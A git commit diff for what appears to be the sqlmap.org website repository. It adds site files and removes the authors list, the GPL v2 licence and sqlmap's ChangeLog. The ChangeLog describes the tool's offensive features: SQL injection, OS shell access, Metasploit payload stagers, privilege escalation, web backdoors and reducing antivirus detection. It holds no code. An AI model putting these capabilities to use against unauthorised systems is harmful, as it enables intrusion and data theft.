Added back GA script

Minor improvement to PayPal donation link

.gitignore

@@ -0,0 +1,7 @@
+.DS_Store
+.github/.DS_Store
+data/.DS_Store
+extra/.DS_Store
+lib/.DS_Store
+plugins/.DS_Store
+thirdparty/.DS_Store

CNAME

@@ -0,0 +1 @@
+sqlmap.org

README.md

@@ -0,0 +1 @@
+sqlmap.org website

doc/AUTHORS

@@ -1,7 +0,0 @@
-Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
-<[email protected]>
-PGP Key ID: 0x05F5A30F
-
-Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
-<[email protected]>
-PGP Key ID: 0xB5397B1B

doc/COPYING

@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-                       51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.

doc/ChangeLog

@@ -1,539 +0,0 @@
-sqlmap (0.9-1) stable; urgency=low
-
-  * Rewritten SQL injection detection engine (Bernardo and Miroslav).
-  * Support to directly connect to the database without passing via a
-    SQL injection, -d switch (Bernardo and Miroslav).
-  * Added full support for both time-based blind SQL injection and
-    error-based SQL injection techniques (Bernardo and Miroslav).
-  * Implemented support for SQLite 2 and 3 (Bernardo and Miroslav).
-  * Implemented support for Firebird (Bernardo and Miroslav).
-  * Implemented support for Microsoft Access, Sybase and SAP MaxDB
-    (Miroslav).
-  * Extended old '--dump -C' functionality to be able to search for
-    specific database(s), table(s) and column(s), --search switch
-    (Bernardo).
-  * Added support to tamper injection data with --tamper switch (Bernardo
-    and Miroslav).
-  * Added automatic recognition of password hashes format and support to
-    crack them with a dictionary-based attack (Miroslav).
-  * Added support to enumerate roles on Oracle, --roles switch (Bernardo).
-  * Added support for SOAP based web services requests (Bernardo).
-  * Added support to fetch unicode data (Bernardo and Miroslav).
-  * Added support to use persistent HTTP(s) connection for speed
-    improvement, --keep-alive switch (Miroslav).
-  * Implemented several optimization switches to speed up the exploitation
-    of SQL injections (Bernardo and Miroslav).
-  * Support to test and inject against HTTP Referer header (Miroslav).
-  * Implemented HTTP(s) proxy authentication support, --proxy-cred switch
-    (Miroslav).
-  * Implemented feature to speedup the enumeration of table names
-    (Miroslav).
-  * Support for customizable HTTP(s) redirections (Bernardo).
-  * Support to replicate the back-end DBMS tables structure and entries
-    in a local SQLite 3 database, --replicate switch (Miroslav).
-  * Support to parse and test forms on target url, --forms switch
-    (Bernardo and Miroslav).
-  * Added switches to brute-force tables names and columns names with a
-    dictionary attack, --common-tables and --common-columns. Useful for
-    instance when system table 'information_schema' is not available on
-    MySQL (Miroslav).
-  * Basic support for REST-style URL parameters by using the asterisk (*)
-    to mark where to test for and exploit SQL injection (Miroslav).
-  * Added safe URL feature, --safe-url and --safe-freq (Miroslav).
-  * Added --text-only switch to strip from the HTTP response body the
-    HTML/JS code and compare pages based only on their textual content
-    (Miroslav).
-  * Implemented few other features and switches (Bernardo and Miroslav).
-  * Over 100 bugs fixed (Bernardo and Miroslav).
-  * Major code refactoring (Bernardo and Miroslav).
-  * User's manual updated (Bernardo).
-
- -- Bernardo Damele A. G. <[email protected]>  Sun, 10 Apr 2011 21:00:00 +0000
-
-sqlmap (0.8-1) stable; urgency=low
-
-  * Support to enumerate and dump all databases' tables containing user
-    provided column(s) by specifying for instance '--dump -C user,pass'.
-    Useful to identify for instance tables containing custom application
-    credentials (Bernardo).
-  * Support to parse -C (column name(s)) when fetching
-    columns of a table with --columns: it will enumerate only columns like
-    the provided one(s) within the specified table (Bernardo).
-  * Support for takeover features on PostgreSQL 8.4 (Bernardo).
-  * Enhanced --priv-esc to rely on new Metasploit Meterpreter's
-    'getsystem' command to elevate privileges of the user running the
-    back-end DBMS instance to SYSTEM on Windows (Bernardo).
-  * Automatic support in --os-pwn to use the web uploader/backdoor to
-    upload and execute the Metasploit payload stager when stacked queries
-    SQL injection is not supported, for instance on MySQL/PHP and
-    MySQL/ASP, but there is a writable folder within the web server
-    document root (Bernardo and Miroslav).
-  * Fixed web backdoor functionality for --os-cmd, --os-shell and --os-pwn
-    useful when web application does not support stacked queries (Bernardo).
-  * Added support to properly read (--read-file) also binary files via
-    PostgreSQL by injecting sqlmap new sys_fileread() user-defined
-    function (Bernardo and Miroslav).
-  * Updated active fingerprint and comment injection fingerprint for
-    MySQL 5.1, MySQL 5.4 and MySQL 5.5 (Bernardo).
-  * Updated active fingerprint for PostgreSQL 8.4 (Bernardo).
-  * Support for NTLM authentication via python-ntlm third party library,
-    http://code.google.com/p/python-ntlm/, --auth-type NTLM (Bernardo).
-  * Support to automatically decode deflate, gzip and x-gzip HTTP
-    responses (Miroslav).
-  * Support for Certificate authentication, --auth-cert option added
-    (Miroslav).
-  * Added support for regular expression based scope when parsing Burp or
-    Web Scarab proxy log file (-l), --scope (Miroslav).
-  * Added option (-r) to load a single HTTP request from a text file
-    (Miroslav).
-  * Added option (--ignore-proxy) to ignore system default HTTP proxy
-    (Miroslav).
-  * Added support to ignore Set-Cookie in HTTP responses,
-    --drop-set-cookie (Miroslav).
-  * Added support to specify which Google dork result page to parse,
-    --gpage to be used together with -g (Miroslav).
-  * Major bug fix and enhancements to the multi-threading (--threads)
-    functionality (Miroslav).
-  * Fixed URL encoding/decoding of GET/POST parameters and Cookie header
-    (Miroslav).
-  * Refactored --update to use python-svn third party library if available
-    or 'svn' command to update sqlmap to the latest development version
-    from subversion repository (Bernardo and Miroslav).
-  * Major bugs fixed (Bernardo and Miroslav).
-  * Cleanup of UDF source code repository,
-    https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack (Bernardo
-    and Miroslav).
-  * Major code cleanup (Miroslav).
-  * Added simple file encryption/compression utility, extra/cloak/cloak.py,
-    used by sqlmap to decrypt on the fly Churrasco, UPX executable and web
-    shells consequently reducing drastically the number of anti-virus
-    softwares that mistakenly mark sqlmap as a malware (Miroslav).
-  * Updated user's manual (Bernardo and Miroslav).
-  * Created several demo videos, hosted on YouTube
-    (http://www.youtube.com/user/inquisb) and linked from
-    http://sqlmap.sourceforge.net/demo.html (Bernardo).
-
- -- Bernardo Damele A. G. <[email protected]>  Sun, 14 Mar 2010 10:00:00 +0000
-
-sqlmap (0.8rc1-1) stable; urgency=low
-
-  * Major enhancement to the Microsoft SQL Server stored procedure
-    heap-based buffer overflow exploit (--os-bof) to automatically bypass
-    DEP memory protection.
-  * Added support for MySQL and PostgreSQL to execute Metasploit shellcode
-    via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
-    option instead of uploading the standalone payload stager executable.
-  * Added options for MySQL, PostgreSQL and Microsoft SQL Server to
-    read/add/delete Windows registry keys.
-  * Added options for MySQL and PostgreSQL to inject custom user-defined
-    functions.
-  * Added support for --first and --last so the user now has even more
-    granularity in what to enumerate in the query output.
-  * Minor enhancement to save the session by default in
-    'output/hostname/session' file if -s option is not specified.
-  * Minor improvement to automatically remove sqlmap created temporary
-    files from the DBMS underlying file system.
-  * Minor bugs fixed.
-  * Major code refactoring.
-
- -- Bernardo Damele A. G. <[email protected]>  Mon, 21 Sep 2009 15:00:00 +0000
-
-sqlmap (0.7-1) stable; urgency=low
-
-  * Adapted Metasploit wrapping functions to work with latest 3.3
-    development version too.
-  * Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
-  * Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
-    --os-bof is selected) when running under Windows because msfconsole
-    and msfcli are not supported on the native Windows Ruby interpreter.
-    This make sqlmap 0.7 to work again on Windows too.
-  * Minor improvement so that sqlmap tests also all parameters with no
-    value (eg. par=).
-  * HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
-    2.6+.
-  * Major bug fix to sql-query/sql-shell features.
-  * Major bug fix in --read-file option.
-  * Major silent bug fix to multi-threading functionality.
-  * Fixed the web backdoor functionality (for MySQL) when (usually) stacked
-    queries are not supported and --os-shell is provided.
-  * Fixed MySQL 'comment injection' version fingerprint.
-  * Fixed basic Microsoft SQL Server 2000 fingerprint.
-  * Many minor bug fixes and code refactoring.
-
- -- Bernardo Damele A. G. <[email protected]>  Sat, 25 Jul 2009 10:00:00 +0000
-
-sqlmap (0.7rc1-1) stable; urgency=low
-
-  * Added support to execute arbitrary commands on the database server
-    underlying operating system either returning the standard output or not
-    via UDF injection on MySQL and PostgreSQL and via xp_cmdshell() stored
-    procedure on Microsoft SQL Server;
-  * Added support for out-of-band connection between the attacker box and
-    the database server underlying operating system via stand-alone payload
-    stager created by Metasploit and supporting Meterpreter, shell and VNC
-    payloads for both Windows and Linux;
-  * Added support for out-of-band connection via Microsoft SQL Server 2000
-    and 2005 'sp_replwritetovarbin' stored procedure heap-based buffer
-    overflow (MS09-004) exploitation with multi-stage Metasploit payload
-    support;
-  * Added support for out-of-band connection via SMB reflection attack with
-    UNC path request from the database server to the attacker box by using
-    the Metasploit smb_relay exploit;
-  * Added support to read and write (upload) both text and binary files on
-    the database server underlying file system for MySQL, PostgreSQL and
-    Microsoft SQL Server;
-  * Added database process' user privilege escalation via Windows Access
-    Tokens kidnapping on MySQL and Microsoft SQL Server via either
-    Meterpreter's incognito extension or Churrasco stand-alone executable;
-  * Speed up the inference algorithm by providing the minimum required
-    charset for the query output;
-  * Major bug fix in the comparison algorithm to correctly handle also the
-    case that the url is stable and the False response changes the page
-    content very little;
-  * Many minor bug fixes, minor enhancements and layout adjustments.
-
- -- Bernardo Damele A. G. <[email protected]>  Wed, 22 Apr 2009 10:30:00 +0000
-
-sqlmap (0.6.4-1) stable; urgency=low
-
-  * Major enhancement to make the comparison algorithm work properly also
-    on url not stables automatically by using the difflib Sequence Matcher
-    object;
-  * Major enhancement to support SQL data definition statements, SQL data
-    manipulation statements, etc from user in SQL query and SQL shell if
-    stacked queries are supported by the web application technology;
-  * Major speed increase in DBMS basic fingerprint;
-  * Minor enhancement to support an option (--is-dba) to show if the
-    current user is a database management system administrator;
-  * Minor enhancement to support an option (--union-tech) to specify the
-    technique to use to detect the number of columns used in the web
-    application SELECT statement: NULL bruteforcing (default) or ORDER BY
-    clause bruteforcing;
-  * Added internal support to forge CASE statements, used only by --is-dba
-    query at the moment;
-  * Minor layout adjustment to the --update output;
-  * Increased default timeout to 30 seconds;
-  * Major bug fix to correctly handle custom SQL "limited" queries on
-    Microsoft SQL Server and Oracle;
-  * Major bug fix to avoid tracebacks when multiple targets are specified
-    and one of them is not reachable;
-  * Minor bug fix to make the Partial UNION query SQL injection technique
-    work properly also on Oracle and Microsoft SQL Server;
-  * Minor bug fix to make the --postfix work even if --prefix is not
-    provided;
-  * Updated documentation.
-
- -- Bernardo Damele A. G. <[email protected]>  Tue,  3 Feb 2009 23:30:00 +0000
-
-sqlmap (0.6.3-1) stable; urgency=low
-
-  * Major enhancement to get list of targets to test from Burp proxy
-    (http://portswigger.net/suite/) requests log file path or WebScarab
-    proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
-    'conversations/' folder path by providing option -l <filepath>;
-  * Major enhancement to support Partial UNION query SQL injection
-    technique too;
-  * Major enhancement to test if the web application technology supports
-    stacked queries (multiple statements) by providing option
-    --stacked-test which will be then used someday also by takeover
-    functionality;
-  * Major enhancement to test if the injectable parameter is affected by
-    a time based blind SQL injection technique by providing option
-    --time-test;
-  * Minor enhancement to fingerprint the web server operating system and
-    the web application technology by parsing some HTTP response headers;
-  * Minor enhancement to fingerprint the back-end DBMS operating system by
-    parsing the DBMS banner value when -b option is provided;
-  * Minor enhancement to be able to specify the number of seconds before
-    timeout the connection by providing option --timeout #, default is set
-    to 10 seconds and must be 3 or higher;
-  * Minor enhancement to be able to specify the number of seconds to wait
-    between each HTTP request by providing option --delay #;
-  * Minor enhancement to be able to get the injection payload --prefix and
-    --postfix from user;
-  * Minor enhancement to be able to enumerate table columns and dump table
-    entries, also when the database name is not provided, by using the
-    current database on MySQL and Microsoft SQL Server, the 'public'
-    scheme on PostgreSQL and the 'USERS' TABLESPACE_NAME on Oracle;
-  * Minor enhancemet to support also --regexp, --excl-str and --excl-reg
-    options rather than only --string when comparing HTTP responses page
-    content;
-  * Minor enhancement to be able to specify extra HTTP headers by providing
-    option --headers. By default Accept, Accept-Language and Accept-Charset
-    headers are set;
-  * Minor improvement to be able to provide CU (as current user) as user
-    value (-U) when enumerating users privileges or users passwords;
-  * Minor improvements to sqlmap Debian package files;
-  * Minor improvement to use Python psyco (http://psyco.sourceforge.net/)
-    library if available to speed up the sqlmap algorithmic operations;
-  * Minor improvement to retry the HTTP request up to three times in case
-    an exception is raised during the connection to the target url;
-  * Major bug fix to correctly enumerate columns on Microsoft SQL Server;
-  * Major bug fix so that when the user provide a SELECT statement to be
-    processed with an asterisk as columns, now it also work if in the FROM
-    there is no database name specified;
-  * Minor bug fix to correctly dump table entries when the column is
-    provided;
-  * Minor bug fix to correctly handle session.error, session.timeout and
-    httplib.BadStatusLine exceptions in HTTP requests;
-  * Minor bug fix to correctly catch connection exceptions and notify to
-    the user also if they occur within a thread;
-  * Increased default output level from 0 to 1;
-  * Updated documentation.
-
- -- Bernardo Damele A. G. <[email protected]>  Thu, 18 Dec 2008 10:00:00 +0000
-
-sqlmap (0.6.2-1) stable; urgency=low
-
-  * Major bug fix to correctly dump tables entries when --stop is not
-    specified;
-  * Major bug fix so that the users' privileges enumeration now works
-    properly also on both MySQL < 5.0 and MySQL >= 5.0;
-  * Major bug fix when the request is POST to also send the GET parameters
-    if any have been provided;
-  * Major bug fix to correctly update sqlmap to the latest stable release
-    with command line --update;
-  * Major bug fix so that when the expected value of a query (count
-    variable) is an integer and, for some reasons, its resumed value from
-    the session file is a string or a binary file, the query is executed
-    again and its new output saved to the session file;
-  * Minor bug fix in MySQL comment injection fingerprint technique;
-  * Minor improvement to correctly enumerate tables, columns and dump
-    tables entries on Oracle and on PostgreSQL when the database name is
-    not 'public' schema or a system database;
-  * Minor improvement to be able to dump entries on MySQL < 5.0 when
-    database name, table name and column(s) are provided;
-  * Updated the database management system fingerprint checks to correctly
-    identify MySQL 5.1.x, MySQL 6.0.x and PostgreSQL 8.3;
-  * More user-friendly warning messages.
-
- -- Bernardo Damele A. G. <[email protected]>  Sun,  2 Nov 2008 19:00:00 +0000
-
-sqlmap (0.6.1-1) stable; urgency=low
-
-  * Major bug fix to blind SQL injection bisection algorithm to handle an
-    exception;
-  * Added a Metasploit Framework 3 auxiliary module to run sqlmap;
-  * Implemented possibility to test for and inject also on LIKE
-    statements;
-  * Implemented --start and --stop options to set the first and the last
-    table entry to dump;
-  * Added non-interactive/batch-mode (--batch) option to make it easy to
-    wrap sqlmap in Metasploit and any other tool;
-  * Minor enhancement to save also the length of query output in the
-    session file when retrieving the query output length for ETA or for
-    resume purposes;
-  * Changed the order sqlmap dump table entries from column by column to
-    row by row. Now it also dumps entries as they are stored in the tables,
-    not forcing the entries' order alphabetically anymore;
-  * Minor bug fix to correctly handle parameters' value with % character.
-
- -- Bernardo Damele A. G. <[email protected]>  Fri, 20 Oct 2008 10:00:00 +0000
-
-sqlmap (0.6-1) stable; urgency=low
-
-  * Complete code refactor and many bugs fixed;
-  * Added multithreading support to set the maximum number of concurrent
-    HTTP requests;
-  * Implemented SQL shell (--sql-shell) functionality and fixed SQL query
-    (--sql-query, before called -e) to be able to run whatever SELECT
-    statement and get its output in both inband and blind SQL injection
-    attack;
-  * Added an option (--privileges) to retrieve DBMS users privileges, it
-    also notifies if the user is a DBMS administrator;
-  * Added support (-c) to read options from configuration file, an example
-    of valid INI file is sqlmap.conf and support (--save) to save command
-    line options on a configuration file;
-  * Created a function that updates the whole sqlmap to the latest stable
-    version available by running sqlmap with --update option;
-  * Created sqlmap .deb (Debian, Ubuntu, etc.) and .rpm (Fedora, etc.)
-    installation binary packages;
-  * Created sqlmap .exe (Windows) portable executable;
-  * Save a lot of more information to the session file, useful when
-    resuming injection on the same target to not loose time on identifying
-    injection, UNION fields and back-end DBMS twice or more times;
-  * Improved automatic check for parenthesis when testing and forging SQL
-    query vector;
-  * Now it checks for SQL injection on all GET/POST/Cookie parameters then
-    it lets the user select which parameter to perform the injection on in
-    case that more than one is injectable;
-  * Implemented support for HTTPS requests over HTTP(S) proxy;
-  * Added a check to handle NULL or not available queries output;
-  * More entropy (randomStr() and randomInt() functions in
-    lib/core/common.py) in inband SQL injection concatenated query and in
-    AND condition checks;
-  * Improved XML files structure;
-  * Implemented the possibility to change the HTTP Referer header;
-  * Added support to resume from session file also when running with
-    inband SQL injection attack;
-  * Added an option (--os-shell) to execute operating system commands if
-    the back-end DBMS is MySQL, the web server has the PHP engine active
-    and permits write access on a directory within the document root;
-  * Added a check to assure that the provided string to match (--string)
-    is within the page content;
-  * Fixed various queries in XML file;
-  * Added LIMIT, ORDER BY and COUNT queries to the XML file and adapted
-    the library to parse it;
-  * Fixed password fetching function, mainly for Microsoft SQL Server and
-    reviewed the password hashes parsing function;
-  * Major bug fixed to avoid tracebacks when the testable parameter(s) is
-    dynamic, but not injectable;
-  * Enhanced logging system: added three more levels of verbosity to show
-    also HTTP sent and received traffic;
-  * Enhancement to handle Set-Cookie from target url and automatically
-    re-establish the Session when it expires;
-  * Added support to inject also on Set-Cookie parameters;
-  * Implemented TAB completion and command history on both --sql-shell and
-    --os-shell;
-  * Renamed some command line options;
-  * Added a conversion library;
-  * Added code schema and reminders for future developments;
-  * Added Copyright comment and $Id$;
-  * Updated the command line layout and help messages;
-  * Updated some docstrings;
-  * Updated documentation files.
-
- -- Bernardo Damele A. G. <[email protected]>  Mon,  1 Sep 2008 10:00:00 +0100
-
